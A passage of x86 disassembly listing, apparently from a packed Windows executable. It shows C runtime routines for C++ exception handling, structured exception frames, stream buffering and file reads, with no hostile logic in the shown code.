jz short loc_412591
push 103h
push ebx
push eax
call sub_4129F0
loc_412591: ; CODE XREF: sub_412530+53j
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_4125B1
; ---------------------------------------------------------------------------
push [ebp+var_14]
call sub_4125CE
pop ecx
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
or [ebp+var_4], 0FFFFFFFFh
mov edi, [ebp+arg_8]
mov ebx, [ebp+arg_0]
mov esi, [ebp+var_1C]
loc_4125B1: ; CODE XREF: sub_412530+65j
mov eax, [edi+8]
mov esi, [eax+esi*8]
mov [ebp+var_1C], esi
jmp short loc_412562
; ---------------------------------------------------------------------------
loc_4125BC: ; CODE XREF: sub_412530+35j
mov [ebx+8], esi
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_412530 endp
; =============== S U B R O U T I N E =======================================
sub_4125CE proc near ; CODE XREF: sub_412530+6Ap
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov eax, [eax]
cmp dword ptr [eax], 0E06D7363h
jz short loc_4125DF
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_4125DF: ; CODE XREF: sub_4125CE+Cj
jmp sub_412A3C
sub_4125CE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4125E4 proc near ; CODE XREF: sub_412284+151p
; sub_41242B+94p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
push ebp
mov ebp, esp
cmp [ebp+arg_18], 0
push ebx
mov ebx, [ebp+arg_14]
push esi
push edi
mov edi, [ebp+arg_4]
jz short loc_412606
push [ebp+arg_18]
push ebx
push edi
push [ebp+arg_0]
call sub_412795
add esp, 10h
loc_412606: ; CODE XREF: sub_4125E4+10j
cmp [ebp+arg_24], 0
push [ebp+arg_0]
jnz short loc_412612
push edi
jmp short loc_412615
; ---------------------------------------------------------------------------
loc_412612: ; CODE XREF: sub_4125E4+29j
push [ebp+arg_24]
loc_412615: ; CODE XREF: sub_4125E4+2Cj
call sub_40D044
mov esi, [ebp+arg_1C]
push dword ptr [esi]
push [ebp+arg_10]
push [ebp+arg_C]
push edi
call sub_412530
mov eax, [esi+4]
push 100h
push [ebp+arg_20]
inc eax
mov [edi+8], eax
push dword ptr [ebx+0Ch]
push [ebp+arg_10]
push [ebp+arg_8]
push edi
push [ebp+arg_0]
call sub_41265F
add esp, 2Ch
test eax, eax
jz short loc_41265A
push edi
push eax
call sub_40D002
loc_41265A: ; CODE XREF: sub_4125E4+6Dj
pop edi
pop esi
pop ebx
pop ebp
retn
sub_4125E4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41265F proc near ; CODE XREF: sub_4125E4+63p
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_418800
push offset sub_414568
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, [ebp+arg_10]
mov [ebp+var_2C], eax
xor ebx, ebx
mov [ebp+var_24], ebx
mov esi, [ebp+arg_4]
mov ecx, [esi-4]
mov [ebp+var_28], ecx
mov ecx, dword_481E30
mov [ebp+var_1C], ecx
mov ecx, dword_481E34
mov [ebp+var_20], ecx
mov edi, [ebp+arg_0]
mov dword_481E30, edi
mov ecx, [ebp+arg_8]
mov dword_481E34, ecx
mov [ebp+var_4], ebx
mov [ebp+var_4], 1
push [ebp+arg_18]
push [ebp+arg_14]
push eax
push [ebp+arg_C]
push esi
call sub_40D0C9
add esp, 14h
mov [ebp+var_2C], eax
mov [ebp+var_4], ebx
or [ebp+var_4], 0FFFFFFFFh
call sub_412725
mov eax, [ebp+var_2C]
loc_4126EC: ; CODE XREF: sub_412705+16j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_41265F endp
; =============== S U B R O U T I N E =======================================
sub_4126FB proc near ; DATA XREF: .nsp0:00418810o
push dword ptr [ebp-14h]
call sub_41276B
pop ecx
retn
sub_4126FB endp
; =============== S U B R O U T I N E =======================================
sub_412705 proc near ; DATA XREF: .nsp0:00418814o
mov esp, [ebp-18h]
and dword ptr [ebp-2Ch], 0
push 0FFFFFFFFh
lea eax, [ebp-10h]
push eax
call sub_40D32A
pop ecx
pop ecx
xor eax, eax
jmp short loc_4126EC
sub_412705 endp
; ---------------------------------------------------------------------------
loc_41271D: ; DATA XREF: .nsp0:00418808o
xor ebx, ebx
mov esi, [ebp+0Ch]
mov edi, [ebp+8]
; =============== S U B R O U T I N E =======================================
sub_412725 proc near ; CODE XREF: sub_41265F+85p
mov eax, [ebp-28h]
mov [esi-4], eax
mov eax, [ebp-1Ch]
mov dword_481E30, eax
mov eax, [ebp-20h]
mov dword_481E34, eax
cmp dword ptr [edi], 0E06D7363h
jnz short locret_41276A
cmp dword ptr [edi+10h], 3
jnz short locret_41276A
cmp dword ptr [edi+14h], 19930520h
jnz short locret_41276A
cmp [ebp-24h], ebx
jnz short locret_41276A
cmp [ebp-2Ch], ebx
jz short locret_41276A
call sub_40D392
push eax
push edi
call sub_412959
pop ecx
pop ecx
locret_41276A: ; CODE XREF: sub_412725+1Cj
; sub_412725+22j ...
retn
sub_412725 endp
; =============== S U B R O U T I N E =======================================
sub_41276B proc near ; CODE XREF: sub_4126FB+3p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov eax, [eax]
cmp dword ptr [eax], 0E06D7363h
jnz short loc_412792
cmp dword ptr [eax+10h], 3
jnz short loc_412792
cmp dword ptr [eax+14h], 19930520h
jnz short loc_412792
cmp dword ptr [eax+1Ch], 0
jnz short loc_412792
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_412792: ; CODE XREF: sub_41276B+Cj
; sub_41276B+12j ...
xor eax, eax
retn
sub_41276B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412795 proc near ; CODE XREF: sub_4125E4+1Ap
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_418818
push offset sub_414568
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov ecx, [ebp+arg_8]
mov eax, [ecx+4]
test eax, eax
jz loc_41293E
cmp byte ptr [eax+8], 0
jz loc_41293E
mov eax, [ecx+8]
test eax, eax
jz loc_41293E
mov edx, [ebp+arg_4]
lea edi, [eax+edx+0Ch]
and [ebp+var_4], 0
test byte ptr [ecx], 8
jz short loc_412832
mov esi, [ebp+arg_0]
push 1
push dword ptr [esi+18h]
call sub_4153E0
pop ecx
pop ecx
test eax, eax
jz loc_412935
push 1
push edi
call sub_4153FC
pop ecx
pop ecx
test eax, eax
jz loc_412935
mov eax, [esi+18h]
mov [edi], eax
mov ecx, [ebp+arg_C]
add ecx, 8
push ecx
loc_412823: ; CODE XREF: sub_412795+F5j
push eax
call sub_4129C0
pop ecx
pop ecx
mov [edi], eax
jmp loc_41293A
; ---------------------------------------------------------------------------
loc_412832: ; CODE XREF: sub_412795+57j
mov esi, [ebp+arg_C]
test byte ptr [esi], 1
jz short loc_41288C
mov ebx, [ebp+arg_0]
push 1
push dword ptr [ebx+18h]
call sub_4153E0
pop ecx
pop ecx
test eax, eax
jz loc_412935
push 1
push edi
call sub_4153FC
pop ecx
pop ecx
test eax, eax
jz loc_412935
push dword ptr [esi+14h]
push dword ptr [ebx+18h]
push edi
call sub_40D460
add esp, 0Ch
cmp dword ptr [esi+14h], 4
jnz loc_41293A
mov eax, [edi]
test eax, eax
jz loc_41293A
add esi, 8
push esi
jmp short loc_412823
; ---------------------------------------------------------------------------
loc_41288C: ; CODE XREF: sub_412795+A3j
cmp dword ptr [esi+18h], 0
mov ebx, [ebp+arg_0]
push 1
push dword ptr [ebx+18h]
jnz short loc_4128D4
call sub_4153E0
pop ecx
pop ecx
test eax, eax
jz loc_412935
push 1
push edi
call sub_4153FC
pop ecx
pop ecx
test eax, eax
jz short loc_412935
push dword ptr [esi+14h]
add esi, 8
push esi
push dword ptr [ebx+18h]
call sub_4129C0
pop ecx
pop ecx
push eax
push edi
call sub_40D460
add esp, 0Ch
jmp short loc_41293A
; ---------------------------------------------------------------------------
loc_4128D4: ; CODE XREF: sub_412795+103j
call sub_4153E0
pop ecx
pop ecx
test eax, eax
jz short loc_412935
push 1
push edi
call sub_4153FC
pop ecx
pop ecx
test eax, eax
jz short loc_412935
push dword ptr [esi+18h]
call sub_415418
pop ecx
test eax, eax
jz short loc_412935
test byte ptr [esi], 4
jz short loc_41291B
push 1
lea eax, [esi+8]
push eax
push dword ptr [ebx+18h]
call sub_4129C0
pop ecx
pop ecx
push eax
push dword ptr [esi+18h]
push edi
call sub_40D03D
jmp short loc_41293A
; ---------------------------------------------------------------------------
loc_41291B: ; CODE XREF: sub_412795+168j
lea eax, [esi+8]
push eax
push dword ptr [ebx+18h]
call sub_4129C0
pop ecx
pop ecx
push eax
push dword ptr [esi+18h]
push edi
call sub_40D036
jmp short loc_41293A
; ---------------------------------------------------------------------------
loc_412935: ; CODE XREF: sub_412795+6Aj
; sub_412795+7Cj ...
call sub_412A92
loc_41293A: ; CODE XREF: sub_412795+98j
; sub_412795+E1j ...
or [ebp+var_4], 0FFFFFFFFh
loc_41293E: ; CODE XREF: sub_412795+2Ej
; sub_412795+38j ...
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_412795 endp
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
jmp sub_412A3C
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412959 proc near ; CODE XREF: sub_412284+170p
; sub_412725+3Ep
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_418828
push offset sub_414568
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, [ebp+arg_0]
test eax, eax
jz short loc_4129A0
mov ecx, [eax+1Ch]
mov ecx, [ecx+4]
test ecx, ecx
jz short loc_4129A0
and [ebp+var_4], 0
push ecx
push dword ptr [eax+18h]
call sub_40D036
or [ebp+var_4], 0FFFFFFFFh
loc_4129A0: ; CODE XREF: sub_412959+2Aj
; sub_412959+34j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_412959 endp
; ---------------------------------------------------------------------------
xor eax, eax
cmp [ebp+0Ch], al
setnz al
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
jmp sub_412A3C
; =============== S U B R O U T I N E =======================================
sub_4129C0 proc near ; CODE XREF: sub_412795+8Fp
; sub_412795+12Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
push esi
mov esi, [esp+4+arg_0]
mov eax, [ecx]
mov edx, [ecx+4]
add eax, esi
test edx, edx
jl short loc_4129E1
mov esi, [edx+esi]
mov ecx, [ecx+8]
mov ecx, [esi+ecx]
add ecx, edx
add eax, ecx
loc_4129E1: ; CODE XREF: sub_4129C0+12j
pop esi
retn
sub_4129C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4129F0 proc near ; CODE XREF: sub_40D0C9+40p
; sub_412530+5Cp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 4
push ebx
push ecx
mov eax, [ebp+arg_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
push ebp
push [ebp+arg_8]
mov ecx, [ebp+arg_8]
mov ebp, [ebp+var_4]
call sub_40D3B5
push esi
push edi
call eax
pop edi
pop esi
mov ebx, ebp
pop ebp
mov ecx, [ebp+arg_8]
push ebp
mov ebp, ebx
cmp ecx, 100h
jnz short loc_412A2F
mov ecx, 2
loc_412A2F: ; CODE XREF: sub_4129F0+38j
push ecx
call sub_40D3B5
pop ebp
pop ecx
pop ebx
leave
retn 0Ch
sub_4129F0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412A3C proc near ; CODE XREF: sub_412284:loc_412426j
; sub_4125CE:loc_4125DFj ...
var_18 = dword ptr -18h
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00415430 SIZE 00000017 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_418838
push offset sub_414568
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
and [ebp+var_4], 0
mov eax, dword_481E3C
test eax, eax
jz short loc_412A84
mov [ebp+var_4], 1
call eax
jmp short loc_412A80
; ---------------------------------------------------------------------------
loc_412A79: ; DATA XREF: .nsp0:00418848o
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_412A7D: ; DATA XREF: .nsp0:0041884Co
mov esp, [ebp+var_18]
loc_412A80: ; CODE XREF: sub_412A3C+3Bj
and [ebp+var_4], 0
loc_412A84: ; CODE XREF: sub_412A3C+30j
or [ebp+var_4], 0FFFFFFFFh
call $+5
loc_412A8D: ; DATA XREF: .nsp0:00418840o
jmp loc_415430
sub_412A3C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412A92 proc near ; CODE XREF: sub_40D26B+23p
; sub_40D26B:loc_40D2D6p ...
var_18 = dword ptr -18h
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_418850
push offset sub_414568
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
and [ebp+var_4], 0
mov eax, off_421DF4
test eax, eax
jz short loc_412ADA
mov [ebp+var_4], 1
call eax ; sub_412A3C
jmp short loc_412AD6
; ---------------------------------------------------------------------------
loc_412ACF: ; DATA XREF: .nsp0:00418860o
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_412AD3: ; DATA XREF: .nsp0:00418864o
mov esp, [ebp+var_18]
loc_412AD6: ; CODE XREF: sub_412A92+3Bj
and [ebp+var_4], 0
loc_412ADA: ; CODE XREF: sub_412A92+30j
or [ebp+var_4], 0FFFFFFFFh
call $+5
loc_412AE3: ; DATA XREF: .nsp0:00418858o
jmp sub_412A3C
sub_412A92 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412AE8 proc near ; CODE XREF: sub_40D7A3+7p
; sub_40D7A3+26p
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword_483428
push esi
cmp eax, 3
jnz short loc_412B11
mov esi, [ebp+arg_0]
push esi
call sub_4102C8
test eax, eax
pop ecx
jz short loc_412B0E
mov eax, [esi-4]
sub eax, 9
jmp short loc_412B46
; ---------------------------------------------------------------------------
loc_412B0E: ; CODE XREF: sub_412AE8+1Cj
push esi
jmp short loc_412B38
; ---------------------------------------------------------------------------
loc_412B11: ; CODE XREF: sub_412AE8+Ej
cmp eax, 2
jnz short loc_412B35
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push eax
push [ebp+arg_0]
call sub_411023
add esp, 0Ch
test eax, eax
jz short loc_412B35
movzx eax, byte ptr [eax]
shl eax, 4
jmp short loc_412B46
; ---------------------------------------------------------------------------
loc_412B35: ; CODE XREF: sub_412AE8+2Cj
; sub_412AE8+43j
push [ebp+arg_0]
loc_412B38: ; CODE XREF: sub_412AE8+27j
push 0
push dword_483424
call dword_418150 ; RtlSizeHeap
loc_412B46: ; CODE XREF: sub_412AE8+24j
; sub_412AE8+4Bj
pop esi
leave
retn
sub_412AE8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412B49 proc near ; CODE XREF: sub_40D934+17p
; sub_40D934+58p ...
var_4 = byte ptr -4
var_3 = byte ptr -3
var_2 = byte ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
lea ecx, [eax+1]
cmp ecx, 100h
ja short loc_412B67
mov ecx, off_421DF8
movzx eax, word ptr [ecx+eax*2]
jmp short loc_412BB9
; ---------------------------------------------------------------------------
loc_412B67: ; CODE XREF: sub_412B49+10j
mov ecx, eax
push esi
mov esi, off_421DF8
sar ecx, 8
movzx edx, cl
test byte ptr [esi+edx*2+1], 80h
pop esi
jz short loc_412B8C
and [ebp+var_2], 0
mov [ebp+var_4], cl
mov [ebp+var_3], al
push 2
jmp short loc_412B95
; ---------------------------------------------------------------------------
loc_412B8C: ; CODE XREF: sub_412B49+33j
and [ebp+var_3], 0
mov [ebp+var_4], al
push 1
loc_412B95: ; CODE XREF: sub_412B49+41j
pop eax
lea ecx, [ebp+arg_0+2]
push 1
push 0
push 0
push ecx
push eax
lea eax, [ebp+var_4]
push eax
push 1
call sub_415447
add esp, 1Ch
test eax, eax
jnz short loc_412BB5
leave
retn
; ---------------------------------------------------------------------------
loc_412BB5: ; CODE XREF: sub_412B49+68j
movzx eax, word ptr [ebp+arg_0+2]
loc_412BB9: ; CODE XREF: sub_412B49+1Cj
and eax, [ebp+arg_4]
leave
retn
sub_412B49 endp
; =============== S U B R O U T I N E =======================================
sub_412BBE proc near ; CODE XREF: sub_40D9CA+2Ap
; sub_4157AA+290p
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
cmp edi, dword_4831E0
jnb loc_412C58
mov eax, edi
mov esi, edi
sar eax, 5
and esi, 1Fh
lea ebx, ds:4830E0h[eax*4]
shl esi, 3
mov eax, [ebx]
test byte ptr [eax+esi+4], 1
jz short loc_412C58
push edi
call sub_415716
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_412C37
cmp edi, 1
jz short loc_412C05
cmp edi, 2
jnz short loc_412C1B
loc_412C05: ; CODE XREF: sub_412BBE+40j
push 2
call sub_415716
push 1
mov ebp, eax
call sub_415716
pop ecx
cmp eax, ebp
pop ecx
jz short loc_412C37
loc_412C1B: ; CODE XREF: sub_412BBE+45j
push edi
call sub_415716
pop ecx
push eax
call dword_41807C ; CloseHandle
test eax, eax
jnz short loc_412C37
call dword_418044 ; RtlGetLastWin32Error
mov ebp, eax
jmp short loc_412C39
; ---------------------------------------------------------------------------
loc_412C37: ; CODE XREF: sub_412BBE+3Bj
; sub_412BBE+5Bj ...
xor ebp, ebp
loc_412C39: ; CODE XREF: sub_412BBE+77j
push edi
call sub_41569C
mov eax, [ebx]
pop ecx
and byte ptr [eax+esi+4], 0
test ebp, ebp
jz short loc_412C54
push ebp
call sub_413260
pop ecx
jmp short loc_412C69
; ---------------------------------------------------------------------------
loc_412C54: ; CODE XREF: sub_412BBE+8Bj
xor eax, eax
jmp short loc_412C6C
; ---------------------------------------------------------------------------
loc_412C58: ; CODE XREF: sub_412BBE+Ej
; sub_412BBE+2Fj
and dword_481DC0, 0
mov dword_481DBC, 9
loc_412C69: ; CODE XREF: sub_412BBE+94j
or eax, 0FFFFFFFFh
loc_412C6C: ; CODE XREF: sub_412BBE+98j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_412BBE endp
; =============== S U B R O U T I N E =======================================
sub_412C71 proc near ; CODE XREF: sub_40D9CA+22p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+0Ch]
test al, 83h
jz short loc_412C9A
test al, 8
jz short loc_412C9A
push dword ptr [esi+8]
call sub_40CD81
and word ptr [esi+0Ch], 0FBF7h
xor eax, eax
pop ecx
mov [esi], eax
mov [esi+8], eax
mov [esi+4], eax
loc_412C9A: ; CODE XREF: sub_412C71+Aj
; sub_412C71+Ej
pop esi
retn
sub_412C71 endp
; =============== S U B R O U T I N E =======================================
sub_412C9C proc near ; CODE XREF: sub_412D3C+2Dp
; sub_412D3C+48p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jnz short loc_412CAE
push esi
call sub_412D3C
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_412CAE: ; CODE XREF: sub_412C9C+7j
push esi
call sub_412CD7
test eax, eax
pop ecx
jz short loc_412CBE
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_412CBE: ; CODE XREF: sub_412C9C+1Bj
test byte ptr [esi+0Dh], 40h
jz short loc_412CD3
push dword ptr [esi+10h]
call sub_415753
neg eax
pop ecx
pop esi
sbb eax, eax
retn
; ---------------------------------------------------------------------------
loc_412CD3: ; CODE XREF: sub_412C9C+26j
xor eax, eax
pop esi
retn
sub_412C9C endp
; =============== S U B R O U T I N E =======================================
sub_412CD7 proc near ; CODE XREF: sub_40D9CA+1Ap
; sub_40EAF8+37p ...
arg_0 = dword ptr 4
push ebx
push esi
mov esi, [esp+8+arg_0]
xor ebx, ebx
push edi
mov eax, [esi+0Ch]
mov ecx, eax
and ecx, 3
cmp cl, 2
jnz short loc_412D24
test ax, 108h
jz short loc_412D24
mov eax, [esi+8]
mov edi, [esi]
sub edi, eax
test edi, edi
jle short loc_412D24
push edi
push eax
push dword ptr [esi+10h]
call sub_4147CC
add esp, 0Ch
cmp eax, edi
jnz short loc_412D1D
mov eax, [esi+0Ch]
test al, 80h
jz short loc_412D24
and al, 0FDh
mov [esi+0Ch], eax
jmp short loc_412D24
; ---------------------------------------------------------------------------
loc_412D1D: ; CODE XREF: sub_412CD7+36j
or dword ptr [esi+0Ch], 20h
or ebx, 0FFFFFFFFh
loc_412D24: ; CODE XREF: sub_412CD7+14j
; sub_412CD7+1Aj ...
mov eax, [esi+8]
and dword ptr [esi+4], 0
mov [esi], eax
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_412CD7 endp
; =============== S U B R O U T I N E =======================================
sub_412D33 proc near ; CODE XREF: sub_414A88p
push 1
call sub_412D3C
pop ecx
retn
sub_412D33 endp
; =============== S U B R O U T I N E =======================================
sub_412D3C proc near ; CODE XREF: sub_412C9C+Ap
; sub_412D33+2p
arg_0 = dword ptr 4
push ebx
push esi
push edi
xor esi, esi
xor ebx, ebx
xor edi, edi
cmp dword_4830C0, esi
jle short loc_412D9A
loc_412D4D: ; CODE XREF: sub_412D3C+5Cj
mov eax, dword_4820B0
mov eax, [eax+esi*4]
test eax, eax
jz short loc_412D91
mov ecx, [eax+0Ch]
test cl, 83h
jz short loc_412D91
cmp [esp+0Ch+arg_0], 1
jnz short loc_412D77
push eax
call sub_412C9C
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_412D91
inc ebx
jmp short loc_412D91
; ---------------------------------------------------------------------------
loc_412D77: ; CODE XREF: sub_412D3C+2Aj
cmp [esp+0Ch+arg_0], 0
jnz short loc_412D91
test cl, 2
jz short loc_412D91
push eax
call sub_412C9C
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_412D91
or edi, eax
loc_412D91: ; CODE XREF: sub_412D3C+1Bj
; sub_412D3C+23j ...
inc esi
cmp esi, dword_4830C0
jl short loc_412D4D
loc_412D9A: ; CODE XREF: sub_412D3C+Fj
cmp [esp+0Ch+arg_0], 1
mov eax, ebx
jz short loc_412DA5
mov eax, edi
loc_412DA5: ; CODE XREF: sub_412D3C+65j
pop edi
pop esi
pop ebx
retn
sub_412D3C endp
; =============== S U B R O U T I N E =======================================
sub_412DA9 proc near ; CODE XREF: sub_40DA20+A9p
; sub_40E9CE+2Dp ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+0Ch]
test al, 83h
jz loc_412E7D
test al, 40h
jnz loc_412E7D
test al, 2
jz short loc_412DCF
or al, 20h
mov [esi+0Ch], eax
jmp loc_412E7D
; ---------------------------------------------------------------------------
loc_412DCF: ; CODE XREF: sub_412DA9+1Aj
or al, 1
test ax, 10Ch
mov [esi+0Ch], eax
jnz short loc_412DE3
push esi
call sub_414979
pop ecx
jmp short loc_412DE8
; ---------------------------------------------------------------------------
loc_412DE3: ; CODE XREF: sub_412DA9+2Fj
mov eax, [esi+8]
mov [esi], eax
loc_412DE8: ; CODE XREF: sub_412DA9+38j
push dword ptr [esi+18h]
push dword ptr [esi+8]
push dword ptr [esi+10h]
call sub_412E82
add esp, 0Ch
mov [esi+4], eax
test eax, eax
jz short loc_412E6C
cmp eax, 0FFFFFFFFh
jz short loc_412E6C
mov edx, [esi+0Ch]
test dl, 82h
jnz short loc_412E41
mov ecx, [esi+10h]
push edi
cmp ecx, 0FFFFFFFFh
jz short loc_412E2A
mov edi, ecx
sar edi, 5
and ecx, 1Fh
mov edi, dword_4830E0[edi*4]
lea edi, [edi+ecx*8]
jmp short loc_412E2F
; ---------------------------------------------------------------------------
loc_412E2A: ; CODE XREF: sub_412DA9+6Bj
mov edi, offset dword_4222F8
loc_412E2F: ; CODE XREF: sub_412DA9+7Fj
mov cl, [edi+4]
pop edi
and cl, 82h
cmp cl, 82h
jnz short loc_412E41
or dh, 20h
mov [esi+0Ch], edx
loc_412E41: ; CODE XREF: sub_412DA9+62j
; sub_412DA9+90j
cmp dword ptr [esi+18h], 200h
jnz short loc_412E5E
mov ecx, [esi+0Ch]
test cl, 8
jz short loc_412E5E
test ch, 4
jnz short loc_412E5E
mov dword ptr [esi+18h], 1000h
loc_412E5E: ; CODE XREF: sub_412DA9+9Fj
; sub_412DA9+A7j ...
mov ecx, [esi]
dec eax
mov [esi+4], eax
movzx eax, byte ptr [ecx]
inc ecx
mov [esi], ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_412E6C: ; CODE XREF: sub_412DA9+55j
; sub_412DA9+5Aj
neg eax
sbb eax, eax
and eax, 10h
add eax, 10h
or [esi+0Ch], eax
and dword ptr [esi+4], 0
loc_412E7D: ; CODE XREF: sub_412DA9+Aj
; sub_412DA9+12j ...
or eax, 0FFFFFFFFh
pop esi
retn
sub_412DA9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412E82 proc near ; CODE XREF: sub_40DA20+90p
; sub_412DA9+48p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
cmp esi, dword_4831E0
jnb loc_41305F
mov eax, esi
and esi, 1Fh
sar eax, 5
shl esi, 3
lea ebx, ds:4830E0h[eax*4]
mov eax, dword_4830E0[eax*4]
add eax, esi
mov dl, [eax+4]
test dl, 1
jz loc_41305F
and [ebp+var_8], 0
mov edi, [ebp+arg_4]
cmp [ebp+arg_8], 0
mov ecx, edi
jz short loc_412F37
test dl, 2
jnz short loc_412F37
test dl, 48h
jz short loc_412EF7
mov al, [eax+5]
cmp al, 0Ah
jz short loc_412EF7
dec [ebp+arg_8]
mov [edi], al
mov eax, [ebx]
lea ecx, [edi+1]
mov [ebp+var_8], 1
mov byte ptr [eax+esi+5], 0Ah
loc_412EF7: ; CODE XREF: sub_412E82+56j
; sub_412E82+5Dj
lea eax, [ebp+var_C]
push 0
push eax
mov eax, [ebx]
push [ebp+arg_8]
push ecx
push dword ptr [eax+esi]
call dword_418154 ; ReadFile
test eax, eax
jnz short loc_412F4A
call dword_418044 ; RtlGetLastWin32Error
push 5
pop ecx
cmp eax, ecx
jnz short loc_412F32
mov dword_481DBC, 9
mov dword_481DC0, ecx
jmp loc_413070
; ---------------------------------------------------------------------------
loc_412F32: ; CODE XREF: sub_412E82+99j
cmp eax, 6Dh
jnz short loc_412F3E
loc_412F37: ; CODE XREF: sub_412E82+4Cj
; sub_412E82+51j
xor eax, eax
jmp loc_413073
; ---------------------------------------------------------------------------
loc_412F3E: ; CODE XREF: sub_412E82+B3j
push eax
call sub_413260
pop ecx
jmp loc_413070
; ---------------------------------------------------------------------------
loc_412F4A: ; CODE XREF: sub_412E82+8Cj
mov eax, [ebx]
loc_412F4C: ; DATA XREF: .nsp0:off_41FAE0o
mov edx, [ebp+var_C]
add [ebp+var_8], edx
lea ecx, [eax+esi+4]
mov al, [eax+esi+4]
test al, 80h
jz loc_41305A
test edx, edx
jz short loc_412F6F
cmp byte ptr [edi], 0Ah
jnz short loc_412F6F
or al, 4
jmp short loc_412F71
; ---------------------------------------------------------------------------
loc_412F6F: ; CODE XREF: sub_412E82+E2j
; sub_412E82+E7j
and al, 0FBh
loc_412F71: ; CODE XREF: sub_412E82+EBj
mov [ecx], al
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_8]
mov [ebp+arg_8], eax
add ecx, eax
cmp eax, ecx
mov [ebp+var_8], ecx
jnb loc_413054
